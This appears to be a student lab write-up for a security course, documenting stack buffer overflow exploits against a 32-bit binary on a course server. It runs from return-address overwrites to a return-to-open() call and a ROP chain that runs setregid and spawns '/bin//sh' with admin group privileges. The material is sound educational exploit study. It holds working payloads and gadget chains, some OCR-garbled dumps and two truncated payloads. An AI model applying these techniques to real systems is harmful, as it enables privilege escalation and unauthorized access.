Part1:

```
Exploit Payload (Crashes):
```

\$(python -c 'print "A"*29 + "\x72\x8e\x04\x08\"')

Exploit Payload (No Crash):

\$(python -c 'print "A"*25 + "\x90\xdd\xff\xff\x72\x8e\x04\x08\x11\xc6\x06\x08\")

Thought Process

First, we needed to figure out how much padding was needed for the payload. Using gdb, we revealed the contents stored inside the local buffer called test.

```
(gdb) process 4379 In: test
                                                                     Line:
Breakpoint 5, test (input=0xffffd4c7 'A' <repeats 24 times>) at test.c:15
(gdb) x /64xb test
0xffffd25f:
               0x41
                       0x41
                               0x41
                                      0x41
                                              0x41
                                                      0x41
                                                             0x41
                                                                     0x41
0xffffd267:
               0x41
                       0x41
                              0x41
                                      0x41
                                              0x41
                                                      0x41
                                                             0x41
                                                                     0x41
0xfffffd26f:
               0x41
                       0x41
                              0x41
                                      0x41
                                              0x41
                                                      0x41
                                                             0x41
                                                                     0x41
                                                     0x68
0xffffd277:
               00x0
                       0xa8
                              0xd2
                                      0xff
                                              0xff
                                                             0x8f
                                                                     0x04
0xffffd27f:
               0x08
                       0xc7
                              0xd4
                                      0xff
                                              0xff
                                                      0x40
                                                             0xbf
                                                                     0x0e
0xffffd287:
               0x08
                       0x6f
                                                             0x8f
                                                                     0x04
                              0x0d
                                      0x01
                                              0x00
                                                      0x27
0xffffd28f:
                                                                     0xff
               0x08
                       0x02
                               0x00
                                      0x00
                                              0x00
                                                      0x44
                                                             0xd3
0xffffd297:
               0xff
                       0x50
                              0xd3
                                      0xff
                                              0xff
                                                      0x6f
                                                             0x0d
                                                                     0x01
(gdb)
               e8 bc fe ff ff
                                               call
                                                        8048e24 <test>
 8048f63:
 8048f68:
               83 c4 10
                                               add
                                                        $0x10,%esp
```

We knew that the instruction after the call test is 0x8048f68, which is the return address, by looking at the objdump file. And we found it in memory in the first image above. There are 29 bytes that come before this return address. Hence, we used 29 bytes for the padding.

To find the address of log result(), we simply searched the objdump file and found it there.

```
1154
1155 08048e72 <<mark>log_resu</mark>lt>:
```

The first exploit payload crashes because the ebp becomes \x41\x41\x41\x41, and the leave instruction sets this to be the new esp. This location is out of bounds for the stack area. Our second exploit payload doesn't crash because we force ebp to become \x90\xdd\xff\xff\. We make this memory location hold the value \x11\xc6\x06\x08 which is going to be the return address after log_result() ends. This is the location of the exit function.

Part 2:

Payload: \$(python -c 'print "A"*29 + "\xa0\x8e\x04\x08" + "AAAA" + "\xde\xad\xbe\xef"")

Thought process:

```
1172 08048ea0 <log_result_advanced>:
```

First, we searched for the address of log_result_advanced() in the objdump file and updated our payload from part 1 to jump to this function instead (0x08048ea0).

```
D0x8048ea0 <log_result_advanced>
                                     push
                                           %ebp
  @0x8048ea1 <log result advanced+1>
                                           %esp,%ebp
                                     mov
 >E0x8048ea3 <log result advanced+3>
                                           $0x78,%esp
                                     sub
  @0x8048ea6 <log_result_advanced+6>
                                           $0xefbeadde,0x8(%ebp)
                                     cmpl
>■ 🛮 🗗 🖎 20x8048ead <log result advanced+13>
                                           0x8048f07 <log result advanced
                                     jne
eax
              0x3a
                      58
ecx
              0x0
                      0
edx
              0x80eb4d4
                              135181524
              0xffffd2b0
                              -11600
ebx
              0xffffd26c
                              0xffffd26c
esp
              0xffffd26c
                              0xffffd26c
ebp
esi
              0x0
---Type <return> to continue, or q <return> to quit---
```

Next, using gdb, we get the value of ebp (shown above) and calculate ebp+8 to determine the location of the function argument on the stack. Using the value of ebp+8, we can find out how much padding in our buffer overflow is needed to reach that memory location. Then we can overwrite the next 4 bytes with 0xefbeadde.

ebp=0xffffd26c ebp+8=0xffffd274

(gdb) x /64xb test												
0xffffd24f:	0x41											
0xffffd257:	0x41											
0xffffd25f:	0x41											
0xffffd267:	0x41	0x41	0x41	0x41	0x41	0xa0	0x8e	0x04				
0xffffd26f:	0x08	0x41	0x41	0x41	0x41	0xde	0xad	0xbe				
0xffffd277:	0xef	0x00	0x0d	0x01	0x00	0x27	0x8f	0x04				
0xffffd27f:	0x08	0x02	0x00	0x00	0x00	0x34	0xd3	0xff				
0xffffd287:	0xff	0x40	0xd3	0xff	0xff	0x6f	0x0d	0x01				
(adh)												

In the image above, we found the bytes that are read from the stack to retrieve the function arguments for log_result_advanced(). We replaced these bytes with 0xefbeadde. We also used this view to determine how much extra padding was needed, which is 4 bytes of padding after the overwritten return address.

```
-bash-4.2$ ls

try_me
uid_1020_crack_advanced

uid_1020_crack_advanced
```

Part 3:

Payload: \$(printf

Thought Process/Methodology:

In the exploit payload, the return address was set to open(). The string

"/home/admin/uid_1020_crack_super" and hex number 0x0101440 were included in the input to pass as arguments to open().

```
1160 8048e7b: 68 40 04 00 00 push $0x440
1161 8048e80: 68 40 bf 0e 08 push $0x80ebf40
1162 8048e85: e8 66 40 02 00 call 806cef0 < libc open>
```

As shown above, the first push represents the second argument for the flags and the second push represents the address of where the string is stored. For the second argument (or first push instruction), we passed in 0x0101440 instead of 0x440 to avoid null bytes. For the first argument (or second push instruction), we passed in an address that pointed to a string named "/home/admin/uid_1020_crack_super".

(gdb) x /128xb	test							
0xffffdd3f:	0x41							
0xffffdd47:	0x41							
0xffffdd4f:	0x41							
0xffffdd57:	0x41	0x41	0x41	0x41	0x41	0xf0	0xce	0x06
0xffffdd5f:	0x08	0x42	0x42	0x42	0x42	0x0c	0xde	0xff
0xffffdd67:	0xff	0x40	0x04	0x01	0x01	0x21	0xf2	0x04
0xffffdd6f:	0x41	0x2f	0x68	0x6f	9x6d	0x65	0x2f	0x61
0xffffdd77:	0x64	0x6d	0x69	0х6е	0x2f	0x75	0x69	0x64

The string "/home/admin/uid_1020_crack_super" was located somewhere in our input, and we used gdb to approximate the location of this string in memory. As shown above, it's located at (0xffffdd6f + 0x1). So we make the program push that address as the first argument. However, despite executing with env -i, the exploit did not work on the cs165-internal server. So we added small offsets to (0xffffdd6f + 0x1) and ran the program until the address pointed to the correct path.

```
----r----t 1 team19 admin 0 Nov 5 00:05 _1020_crack_super
```

Doing this gave us a string that was very close. At this point, we only had to decrease the address by a little to include the missing "uid" portion.

```
uid_1020_crack
uid_1020_crack_advanced
uid_1020_crack_super
```

Part 4:

Exploit Payload: \$(printf

```
setregid(2002, 2002)
0: 806ea61: pop %ecx pop ret
                                             #ecx=0x80eafa0
1: 806cf46: pop %eax ... jae ... ret
                                            #eax=0x57c42787
2: 806327b: pop %esi pop ret
3: 808cb21: sub %esi,%eax pop(3)
                                             #esi=0x57c41fb5
                                            #eax=2002
4: 80bafce: mov %eax,(%ecx) ret
                                            #0x80eafa0: 2002
                                          #eax=0x80eafa0
5. 806cf46: pop %eax ... jae ... ret
6: 805efb2: mov (%eax),%ecx ret
                                              #ecx=2002
7: 80b4d63: mov %ecx,%edx pop(3) ret
                                              #edx=2002
8: 806d895: mov %edx,%ebx ret
                                              #ebx=2002
9: 806ea3a: pop %edx ret
                                              #edx=0x806f0ff
10: 805b644: xor %eax, %eax ret
                                             #eax=0, prevents jae in #11
11: 806cf46: pop %eax ... jae ... ret
                                              #eax=0x57c42787
12: 80b19da: pop %esi ret
                                              #esi=0x57c42740
13: 808ef07: sub %esi,%eax pop pop ret
                                              #eax=71
14: 80818f4: pop %ebp ret
                                              #ebp=0xffffd1f0 prevents seg fault. Gives a good ebp value
15: 807df08: jmp *%edx
                                              #edx has address where int 0x80 is located
```

```
1: 806cf46: pop %eax ... jae ... ret
                                                       \# eax = 0x80eafa0
5. 806ea61: pop %ecx pop ret
                                                       #ecx = /bin
4: 808aaa0: mov %ecx,(%eax) .... pop pop pop pop ret
                                                        # 0x80eafa0: /bin
1: 806cf46: pop %eax ... jae ... ret
                                                       # eax = 0x80eafa4
5. 806ea61: pop %ecx pop ret
                                                           \# ecx = //sh
4: 808aaa0: mov %ecx,(%eax) .... pop pop pop pop ret
                                                        # 0x80eafa4: //sh
8: 804e70b: 31 db xor %ebx,%ebx ... pop(4) ret
                                                        #ebx=0
7: 8058aea: 89 da mov %ebx,%edx ... pop(4) ret
I: 807c9f7: mov %edx, %ecx .... jne ... overwrites eax ... pop pop pop ret # ecx = 0
D: 805b644: xor %eax, %eax ret
C: 805cb03: inc %eax pop %edi ret (execute 11 times)
                                                                        # eax += 11
A: 80b83e2 pop %ebx ret
                                                               \# ebx = 0x80eafa0
Z: 807b5f5: int $0x80 ...
```

Team 19, Steven Truong, Taghreed Alanazi

Thought Process/Methodology:

To create the shell, we used gadgets to write the string "/bin//sh" to memory. To find a suitable memory location, we used objdump -x and chose a memory location under the .bss section. Then registers ecx and edx were set to 0 using xor and mov instructions. This was done to avoid having null bytes in the shell code. We needed eax set to 11, but 0x11 would contain null bytes which can't be in our shellcode. So we cleared eax, and incremented it 11 times instead.

However, this only spawns the shell under our permissions. To get admin permissions, we invoked setregid(2002, 2002) before creating the shell. Doing this involves setting ebx and ecx to 2002, which is the gid of admin. And also setting eax to 71 which is the syscall number. But these numbers can't be placed in the exploit payload because of null bytes. So instead, we put 2 numbers in the payload so that their difference is 2002. When the sub instruction is executed, that would give us 2002 in one of the registers.

One issue faced was that there was only one int \$0x80 ret gadget, and its memory location had null bytes (806f100). To get around this, we instead decrement this address (806f0ff) and return there instead, which only contains a nop instruction.

bash-4.2\$ id uid=1020(team19) gid=2002(admin) groups=2002(admin),1020